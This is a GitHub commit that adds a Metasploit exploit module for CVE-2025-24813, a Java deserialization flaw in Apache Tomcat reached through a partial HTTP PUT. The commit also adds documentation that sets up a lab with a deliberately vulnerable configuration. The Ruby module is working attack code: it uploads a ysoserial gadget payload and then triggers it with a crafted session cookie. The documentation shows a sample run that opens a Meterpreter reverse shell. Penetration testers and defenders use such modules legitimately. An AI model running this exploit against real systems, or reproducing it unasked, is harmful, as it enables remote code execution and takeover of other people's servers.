Skip to content

Commit d16eeab

Browse files
authored
Merge pull request rapid7#19995 from chutton-r7/cve-2025-24813
Module for CVE-2025-24813
2 parents 6bee281 + b85faf9 commit d16eeab

File tree

2 files changed

+328
-0
lines changed

2 files changed

+328
-0
lines changed
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
## Vulnerable Application
2+
This module exploits a Java deserialization vulnerability in Apache Tomcat's session restoration functionality
3+
that can be exploited with a partial HTTP PUT request to place an attacker controlled deserialization payload in the
4+
<tomcat_root_dir>/webapps/ROOT/ directory. For the exploit to succeed, writes must be enabled for the default servlet,
5+
and `org.apache.catalina.session.PersistentManager` must be configured to use `org.apache.catalina.session.FileStore`.
6+
7+
## Setup
8+
Download Ubuntu Server 24:
9+
`wget https://mirror.0xem.ma/ubuntu-releases/24.04.2/ubuntu-24.04.2-live-server-amd64.iso`
10+
11+
Install ubuntu on your preferred hypervisor, enable SSH during installation. Reboot once installation is complete and SSH into the target.
12+
Download Tomcat and Java:
13+
```
14+
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90.zip
15+
wget https://cdn.azul.com/zulu/bin/zulu8.80.0.17-ca-jdk8.0.422-linux_x64.tar.gz
16+
```
17+
18+
Extract the JDK Archive to the appropriate directory:
19+
```
20+
tar -xvzf zulu8.80.0.17-ca-jdk8.0.422-linux_x64.tar.gz
21+
sudo mkdir -p /opt/java
22+
sudo mv zulu8.80.0.17-ca-jdk8.0.422-linux_x64 /opt/java/zulu8
23+
```
24+
25+
Install `unzip` and extract Tomcat:
26+
```
27+
sudo apt install unzip -y
28+
sudo unzip apache-tomcat-9.0.90.zip -d /opt/
29+
```
30+
31+
Set `CATALINA_HOME` and `JAVA_HOME` also update `PATH` by adding the following to `~/.bashrc`:
32+
```
33+
export CATALINA_HOME=/opt/apache-tomcat-9.0.90
34+
export JAVA_HOME=/opt/java/zulu8
35+
export PATH=$JAVA_HOME/bin:$PATH
36+
```
37+
38+
Apply changes:
39+
```
40+
source ~/.bashrc
41+
```
42+
43+
Change Tomcat permissions:
44+
```
45+
sudo chown -R msfuser:msfuser /opt/apache-tomcat-9.0.90
46+
sudo chmod -R +x /opt/apache-tomcat-9.0.90/bin
47+
```
48+
49+
Edit `conf/web.xml` and update the default servlet with the following:
50+
```
51+
<servlet>
52+
<servlet-name>default</servlet-name>
53+
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
54+
<init-param>
55+
<param-name>debug</param-name>
56+
<param-value>0</param-value>
57+
</init-param>
58+
<init-param>
59+
<param-name>listings</param-name>
60+
<param-value>false</param-value>
61+
</init-param>
62+
<init-param>
63+
<param-name>readonly</param-name>
64+
<param-value>false</param-value>
65+
</init-param>
66+
<load-on-startup>1</load-on-startup>
67+
</servlet>
68+
```
69+
70+
Edit `conf/content.xml` and add the following inside the pre-existing `<Context>` tags:
71+
```
72+
<Manager className="org.apache.catalina.session.PersistentManager">
73+
<Store className="org.apache.catalina.session.FileStore" />
74+
</Manager>
75+
```
76+
77+
Create the following directory inside the tomcat root directory:
78+
```
79+
mkdir -p webapps/ROOT/WEB-INF/lib
80+
cd ./webapps/ROOT/WEB-INF/lib
81+
```
82+
83+
Download the following dependencies:
84+
```
85+
wget https://repo1.maven.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
86+
wget https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar
87+
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
88+
```
89+
90+
Start the vulnerable Tomcat instance:
91+
```
92+
cd /opt/apache-tomcat-9.0.90/bin
93+
./startup.sh
94+
```
95+
96+
## Options
97+
98+
### GADGET
99+
The desired ysoserial gadget to use to obtain RCE.
100+
101+
## Verification Steps
102+
1. Start msfconsole
103+
2. `use multi/http/tomcat_partial_put_deserialization`
104+
3. `set RHOST <TARGET_IP_ADDRESS>`
105+
4. `set RPORT <TARGET_PORT>`
106+
5. `set GADGET <YSOSERIAL_GADGET>`
107+
6. `set LHOST eth0`
108+
7. `check`
109+
8. `exploit`
110+
111+
## Scenarios
112+
113+
### Apache Tomcat 9.0.90, jdk8.0.422 running on Ubuntu Server 24. Target: Linux Command
114+
115+
```
116+
msf6 > use multi/http/tomcat_partial_put_deserialization
117+
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
118+
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > set rport 8080
119+
rport => 8080
120+
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > set rhost 172.16.199.130
121+
rhost => 172.16.199.130
122+
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > set gadget CommonsCollections6
123+
gadget => CommonsCollections6
124+
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > check
125+
[!] This exploit may require manual cleanup of '../webapps/ROOT/YLNKdGSIcB.session' on the target
126+
[+] 172.16.199.130:8080 - The target is vulnerable.
127+
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > run
128+
[*] Started reverse TCP handler on 172.16.199.1:4444
129+
[*] Running automatic check ("set AutoCheck false" to disable)
130+
[+] The target is vulnerable.
131+
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
132+
[*] Utilizing CommonsCollections6 deserialization chain
133+
[+] Uploaded ysoserial payload (imNsIsZCCC.session) via partial PUT
134+
[*] Attempting to deserialize session file..
135+
[+] 500 error response usually indicates success :)
136+
[*] Sending stage (24772 bytes) to 172.16.199.130
137+
[+] Deleted ../webapps/ROOT/pAdshcNMRO.session
138+
[+] Deleted ../webapps/ROOT/imNsIsZCCC.session
139+
[*] Meterpreter session 6 opened (172.16.199.1:4444 -> 172.16.199.130:44562) at 2025-04-02 13:34:50 -0700
140+
141+
meterpreter > getuid
142+
Server username: msfuser
143+
meterpreter > sysinfo
144+
Computer : msfserver
145+
OS : Linux 6.8.0-57-generic #59-Ubuntu SMP PREEMPT_DYNAMIC Sat Mar 15 17:40:59 UTC 2025
146+
Architecture : x64
147+
System Language : en_US
148+
Meterpreter : python/linux
149+
meterpreter >
150+
```
Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::JavaDeserialization
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'Tomcat Partial PUT Java Deserialization',
20+
'Description' => %q{
21+
This module exploits a Java deserialization vulnerability in Apache
22+
Tomcat's session restoration functionality that can be exploited with a partial HTTP PUT request to
23+
place an attacker controlled deserialization payload in the <tomcat_root_dir>/webapps/ROOT/ directory.
24+
25+
For the exploit to succeed, writes must be enabled for the default servlet,
26+
and org.apache.catalina.session.PersistentManager must be configured to use
27+
org.apache.catalina.session.FileStore.
28+
29+
Verified working on 10.1.16-1
30+
},
31+
'Author' => [
32+
'sw0rd1ight', # Discovery
33+
'Calum Hutton', # MSF Module
34+
'h4ck3r-04' # MSF Module
35+
],
36+
'References' => [
37+
['CVE', '2025-24813'],
38+
['URL', 'https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq'],
39+
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-24813'],
40+
],
41+
'DisclosureDate' => '2025-03-10', # Vendor release note
42+
'License' => MSF_LICENSE,
43+
'Platform' => ['unix', 'linux', 'win'],
44+
'Arch' => [ARCH_CMD],
45+
'Privileged' => false,
46+
'Targets' => [
47+
[
48+
'Unix Command',
49+
{
50+
'Platform' => ['unix', 'linux'],
51+
'Arch' => ARCH_CMD,
52+
'Type' => :unix_cmd,
53+
'DefaultOptions' => {
54+
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
55+
}
56+
}
57+
],
58+
[
59+
'Windows Command',
60+
{
61+
'Platform' => 'win',
62+
'Arch' => ARCH_CMD,
63+
'Type' => :windows_cmd
64+
}
65+
],
66+
],
67+
'DefaultTarget' => 0,
68+
'DefaultOptions' => {
69+
'SSL' => false,
70+
'RPORT' => 443
71+
},
72+
'Notes' => {
73+
'Stability' => [CRASH_SAFE],
74+
'Reliability' => [REPEATABLE_SESSION],
75+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
76+
}
77+
)
78+
)
79+
80+
register_options([
81+
OptString.new('TARGETURI', [true, 'Base path', '/']),
82+
OptString.new('GADGET', [true, 'ysoserial gadget', 'CommonsBeanutils1']),
83+
])
84+
end
85+
86+
def check
87+
# Advanced check, runs the full exploit (without a command)
88+
# Assumes a 500 response from requesting the session indicates success
89+
begin
90+
upload_session_id = upload_payload('')
91+
unless upload_session_id
92+
return Exploit::CheckCode::Safe
93+
end
94+
rescue Msf::Exploit::Failed => e
95+
return CheckCode::Safe(e)
96+
end
97+
98+
trigger_res = trigger_payload(upload_session_id)
99+
if trigger_res&.code != 500
100+
Exploit::CheckCode::Safe
101+
end
102+
103+
Exploit::CheckCode::Vulnerable
104+
end
105+
106+
def exploit
107+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
108+
execute_command(payload.encoded)
109+
end
110+
111+
def execute_command(cmd, _opts = {})
112+
print_status("Utilizing #{datastore['GADGET']} deserialization chain")
113+
114+
upload_session_id = upload_payload(cmd)
115+
unless upload_session_id
116+
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
117+
end
118+
119+
print_good("Uploaded ysoserial payload (#{upload_session_id}.session) via partial PUT")
120+
print_status('Attempting to deserialize session file..')
121+
122+
trigger_payload_res = trigger_payload(upload_session_id)
123+
unless trigger_payload_res&.code == 500
124+
fail_with(Failure::UnexpectedReply, "Failed to deserialize session: #{trigger_payload_res.code}")
125+
end
126+
127+
print_good('500 error response usually indicates success :)')
128+
end
129+
130+
def upload_payload(cmd)
131+
# Generate a random session id
132+
session_id = Rex::Text.rand_text_alpha(10)
133+
# Determine the shell and register the payload for cleanup
134+
case target['Platform']
135+
when ['unix', 'linux']
136+
shell = 'bash'
137+
register_file_for_cleanup("../webapps/ROOT/#{session_id}.session")
138+
when 'win'
139+
shell = 'cmd'
140+
register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}")
141+
else
142+
fail_with(Failure::NoTarget, "Unsupported target platform! (#{target['Platform']})")
143+
end
144+
145+
res = send_partial_put(
146+
generate_java_deserialization_for_command(datastore['GADGET'].to_s, shell, cmd),
147+
"#{session_id}.session"
148+
)
149+
150+
# 201/204 is the normal success code
151+
# 409 indicates a conflict or file permission issue
152+
# but the partial file will still be created
153+
if [201, 204, 409].include?(res&.code)
154+
session_id
155+
end
156+
end
157+
158+
def trigger_payload(session_id)
159+
# Request the session id to retrieve the file and trigger deserialization
160+
request = {
161+
'method' => 'GET',
162+
'uri' => normalize_uri(target_uri.path),
163+
'headers' => { 'Cookie' => "JSESSIONID=.#{session_id}" }
164+
}
165+
send_request_cgi(request)
166+
end
167+
168+
def send_partial_put(data, name)
169+
request = {
170+
'method' => 'PUT',
171+
'uri' => normalize_uri(target_uri.path, name),
172+
'headers' => { 'Content-Range' => 'bytes 0-5/100' },
173+
'data' => data
174+
}
175+
send_request_cgi(request)
176+
end
177+
178+
end

0 commit comments

Comments
 (0)